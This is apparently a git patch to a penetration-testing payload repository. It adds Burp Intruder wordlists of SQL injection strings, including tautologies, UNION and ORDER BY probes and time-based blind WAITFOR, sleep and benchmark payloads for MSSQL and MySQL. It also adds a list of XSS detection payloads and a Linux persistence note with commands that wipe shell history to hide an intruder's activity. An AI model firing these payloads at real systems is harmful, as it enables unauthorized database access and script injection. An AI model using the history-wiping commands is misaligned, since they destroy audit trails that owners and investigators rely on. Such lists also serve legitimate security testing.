From cce0444245f4afd1e676951e5ffeab9df1eae7cd Mon Sep 17 00:00:00 2001 From: Swissky Date: Fri, 21 Sep 2018 18:44:32 +0200 Subject: [PATCH] SQL injection - Intruders payloads --- .../Linux - Persistence.md | 21 +- SQL injection/Intruders/SQL-Injection | 88 ++++++++ .../Intruders/payloads-sql-blind-MSSQL-INSERT | 107 ++++++++++ .../Intruders/payloads-sql-blind-MSSQL-WHERE | 40 ++++ .../Intruders/payloads-sql-blind-MySQL-INSERT | 90 ++++++++ .../payloads-sql-blind-MySQL-ORDER_BY | 18 ++ .../Intruders/payloads-sql-blind-MySQL-WHERE | 45 ++++ XSS injection/Intruders/XSSDetection.txt | 202 ++++++++++++++++++ XSS injection/README.md | 14 +- 9 files changed, 623 insertions(+), 2 deletions(-) create mode 100644 SQL injection/Intruders/SQL-Injection create mode 100644 SQL injection/Intruders/payloads-sql-blind-MSSQL-INSERT create mode 100644 SQL injection/Intruders/payloads-sql-blind-MSSQL-WHERE create mode 100644 SQL injection/Intruders/payloads-sql-blind-MySQL-INSERT create mode 100644 SQL injection/Intruders/payloads-sql-blind-MySQL-ORDER_BY create mode 100644 SQL injection/Intruders/payloads-sql-blind-MySQL-WHERE create mode 100644 XSS injection/Intruders/XSSDetection.txt diff --git a/Methodology and Resources/Linux - Persistence.md b/Methodology and Resources/Linux - Persistence.md index 235b180..dcc068f 100644 --- a/Methodology and Resources/Linux - Persistence.md +++ b/Methodology and Resources/Linux - Persistence.md @@ -78,6 +78,26 @@ Clear the last line of the history. history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null ``` +Clear history + +```bash +[SPACE] ANY COMMAND +or +export HISTSIZE=0 +export HISTFILESIZE=0 +unset HISTFILE; CTRL-D +or +kill -9 $$ +or +echo "" > ~/.bash_history +or +rm ~/.bash_history -rf +or +history -c +or +ln /dev/null ~/.bash_history -sf +``` + The following directories are temporary and usually writeable ```bash @@ -86,7 +106,6 @@ The following directories are temporary and usually writeable /dev/shm/ ``` - ## Thanks to * [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289) diff --git a/SQL injection/Intruders/SQL-Injection b/SQL injection/Intruders/SQL-Injection new file mode 100644 index 0000000..caeeec9 --- /dev/null +++ b/SQL injection/Intruders/SQL-Injection @@ -0,0 +1,88 @@ +' +'' +` +`` +, +" +"" +/ +// +\ +\\ +; +' or " +-- or # +' OR '1 +' OR 1 -- - +" OR "" = " +" OR 1 = 1 -- - +' OR '' = ' +'=' +'LIKE' +'=0--+ + OR 1=1 +' OR 'x'='x +' AND id IS NULL; -- +'''''''''''''UNION SELECT '2 +%00 +/*…*/ ++ addition, concatenate (or space in url) +|| (double pipe) concatenate +% wildcard attribute indicator + +@variable local variable +@@variable global variable + + +# Numeric +AND 1 +AND 0 +AND true +AND false +1-false +1-true +1*56 +-2 + + +1' ORDER BY 1--+ +1' ORDER BY 2--+ +1' ORDER BY 3--+ + +1' ORDER BY 1,2--+ +1' ORDER BY 1,2,3--+ + +1' GROUP BY 1,2,--+ +1' GROUP BY 1,2,3--+ +' GROUP BY columnnames having 1=1 -- + + +-1' UNION SELECT 1,2,3--+ +' UNION SELECT sum(columnname ) from tablename -- + + +-1 UNION SELECT 1 INTO @,@ +-1 UNION SELECT 1 INTO @,@,@ + +1 AND (SELECT * FROM Users) = 1 + +' AND MID(VERSION(),1,1) = '5'; + +' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- + + +Finding the table name + + +Time-Based: +,(select * from (select(sleep(10)))a) +%2c(select%20*%20from%20(select(sleep(10)))a) +';WAITFOR DELAY '0:0:30'-- + +Comments: + +# Hash comment +/* C-style comment +-- - SQL comment +;%00 Nullbyte +` Backtick diff --git a/SQL injection/Intruders/payloads-sql-blind-MSSQL-INSERT b/SQL injection/Intruders/payloads-sql-blind-MSSQL-INSERT new file mode 100644 index 0000000..8c7d6d0 --- /dev/null +++ b/SQL injection/Intruders/payloads-sql-blind-MSSQL-INSERT @@ -0,0 +1,107 @@ +)%20waitfor%20delay%20'0:0:20'%20/* +)%20waitfor%20delay%20'0:0:20'%20-- +')%20waitfor%20delay%20'0:0:20'%20/* +')%20waitfor%20delay%20'0:0:20'%20-- +")%20waitfor%20delay%20'0:0:20'%20/* +")%20waitfor%20delay%20'0:0:20'%20-- +))%20waitfor%20delay%20'0:0:20'%20/* +))%20waitfor%20delay%20'0:0:20'%20-- +'))%20waitfor%20delay%20'0:0:20'%20/* +'))%20waitfor%20delay%20'0:0:20'%20-- +"))%20waitfor%20delay%20'0:0:20'%20/* +"))%20waitfor%20delay%20'0:0:20'%20-- +,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL)%20waifor%20delay%20'0:0:20'%20/* +',NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL)%20waifor%20delay%20'0:0:20'%20/* +'),NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- diff --git a/SQL injection/Intruders/payloads-sql-blind-MSSQL-WHERE b/SQL injection/Intruders/payloads-sql-blind-MSSQL-WHERE new file mode 100644 index 0000000..cf7b597 --- /dev/null +++ b/SQL injection/Intruders/payloads-sql-blind-MSSQL-WHERE @@ -0,0 +1,40 @@ + waitfor delay '0:0:20' /* + waitfor delay '0:0:20' -- +' waitfor delay '0:0:20' /* +' waitfor delay '0:0:20' -- +" waitfor delay '0:0:20' /* +" waitfor delay '0:0:20' -- +) waitfor delay '0:0:20' /* +) waitfor delay '0:0:20' -- +)) waitfor delay '0:0:20' /* +)) waitfor delay '0:0:20' -- +))) waitfor delay '0:0:20' /* +))) waitfor delay '0:0:20' -- +)))) waitfor delay '0:0:20' /* +)))) waitfor delay '0:0:20' -- +))))) waitfor delay '0:0:20' -- +)))))) waitfor delay '0:0:20' -- +') waitfor delay '0:0:20' /* +') waitfor delay '0:0:20' -- +") waitfor delay '0:0:20' /* +") waitfor delay '0:0:20' -- +')) waitfor delay '0:0:20' /* +')) waitfor delay '0:0:20' -- +")) waitfor delay '0:0:20' /* +")) waitfor delay '0:0:20' -- +'))) waitfor delay '0:0:20' /* +'))) waitfor delay '0:0:20' -- +"))) waitfor delay '0:0:20' /* +"))) waitfor delay '0:0:20' -- +')))) waitfor delay '0:0:20' /* +')))) waitfor delay '0:0:20' -- +")))) waitfor delay '0:0:20' /* +")))) waitfor delay '0:0:20' -- +'))))) waitfor delay '0:0:20' /* +'))))) waitfor delay '0:0:20' -- +"))))) waitfor delay '0:0:20' /* +"))))) waitfor delay '0:0:20' -- +')))))) waitfor delay '0:0:20' /* +')))))) waitfor delay '0:0:20' -- +")))))) waitfor delay '0:0:20' /* +")))))) waitfor delay '0:0:20' -- diff --git a/SQL injection/Intruders/payloads-sql-blind-MySQL-INSERT b/SQL injection/Intruders/payloads-sql-blind-MySQL-INSERT new file mode 100644 index 0000000..bc2c26a --- /dev/null +++ b/SQL injection/Intruders/payloads-sql-blind-MySQL-INSERT @@ -0,0 +1,90 @@ ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 diff --git a/SQL injection/Intruders/payloads-sql-blind-MySQL-ORDER_BY b/SQL injection/Intruders/payloads-sql-blind-MySQL-ORDER_BY new file mode 100644 index 0000000..54534e9 --- /dev/null +++ b/SQL injection/Intruders/payloads-sql-blind-MySQL-ORDER_BY @@ -0,0 +1,18 @@ +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 diff --git a/SQL injection/Intruders/payloads-sql-blind-MySQL-WHERE b/SQL injection/Intruders/payloads-sql-blind-MySQL-WHERE new file mode 100644 index 0000000..5fb4a74 --- /dev/null +++ b/SQL injection/Intruders/payloads-sql-blind-MySQL-WHERE @@ -0,0 +1,45 @@ + and 0=benchmark(3000000,MD5(1))%20/* + and 0=benchmark(3000000,MD5(1))%20-- + and 0=benchmark(3000000,MD5(1))%20%23 +' and 0=benchmark(3000000,MD5(1))%20/* +' and 0=benchmark(3000000,MD5(1))%20-- +' and 0=benchmark(3000000,MD5(1))%20%23 +" and 0=benchmark(3000000,MD5(1))%20/* +" and 0=benchmark(3000000,MD5(1))%20-- +" and 0=benchmark(3000000,MD5(1))%20%23 +) and 0=benchmark(3000000,MD5(1))%20/* +) and 0=benchmark(3000000,MD5(1))%20-- +) and 0=benchmark(3000000,MD5(1))%20%23 +)) and 0=benchmark(3000000,MD5(1))%20/* +)) and 0=benchmark(3000000,MD5(1))%20-- +)) and 0=benchmark(3000000,MD5(1))%20%23 +))) and 0=benchmark(3000000,MD5(1))%20/* +))) and 0=benchmark(3000000,MD5(1))%20-- +))) and 0=benchmark(3000000,MD5(1))%20%23 +)))) and 0=benchmark(3000000,MD5(1))%20/* +)))) and 0=benchmark(3000000,MD5(1))%20-- +)))) and 0=benchmark(3000000,MD5(1))%20%23 +') and 0=benchmark(3000000,MD5(1))%20/* +') and 0=benchmark(3000000,MD5(1))%20-- +') and 0=benchmark(3000000,MD5(1))%20%23 +") and 0=benchmark(3000000,MD5(1))%20/* +") and 0=benchmark(3000000,MD5(1))%20-- +") and 0=benchmark(3000000,MD5(1))%20%23 +')) and 0=benchmark(3000000,MD5(1))%20/* +')) and 0=benchmark(3000000,MD5(1))%20-- +')) and 0=benchmark(3000000,MD5(1))%20%23 +")) and 0=benchmark(3000000,MD5(1))%20/* +")) and 0=benchmark(3000000,MD5(1))%20-- +")) and 0=benchmark(3000000,MD5(1))%20%23 +'))) and 0=benchmark(3000000,MD5(1))%20/* +'))) and 0=benchmark(3000000,MD5(1))%20-- +'))) and 0=benchmark(3000000,MD5(1))%20%23 +"))) and 0=benchmark(3000000,MD5(1))%20/* +"))) and 0=benchmark(3000000,MD5(1))%20-- +"))) and 0=benchmark(3000000,MD5(1))%20%23 +')))) and 0=benchmark(3000000,MD5(1))%20/* +')))) and 0=benchmark(3000000,MD5(1))%20-- +')))) and 0=benchmark(3000000,MD5(1))%20%23 +")))) and 0=benchmark(3000000,MD5(1))%20/* +")))) and 0=benchmark(3000000,MD5(1))%20-- +")))) and 0=benchmark(3000000,MD5(1))%20%23 diff --git a/XSS injection/Intruders/XSSDetection.txt b/XSS injection/Intruders/XSSDetection.txt new file mode 100644 index 0000000..f063343 --- /dev/null +++ b/XSS injection/Intruders/XSSDetection.txt @@ -0,0 +1,202 @@ +%3Cimg/src=%3Dx+onload=alert(2)%3D +%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e +'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000EB)%3C/script%3E +48e71%3balert(1)//503466e3 +';confirm('XSS')//1491b2as +a29b1%3balert(888)//a62b7156d82 +alert('XSS') +"onmouseover%3dprompt(941634) +%f6%22%20onmouseover%3dprompt(941634)%20 +" onerror=alert()1 a=" +style=xss:expression(alert(1)) + + A” autofocus onfocus=alert(“XSS”)// + +ssss ++ADw-p+AD4-Welcome to UTF-7!+ADw-+AC8-p+AD4- ++ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4- 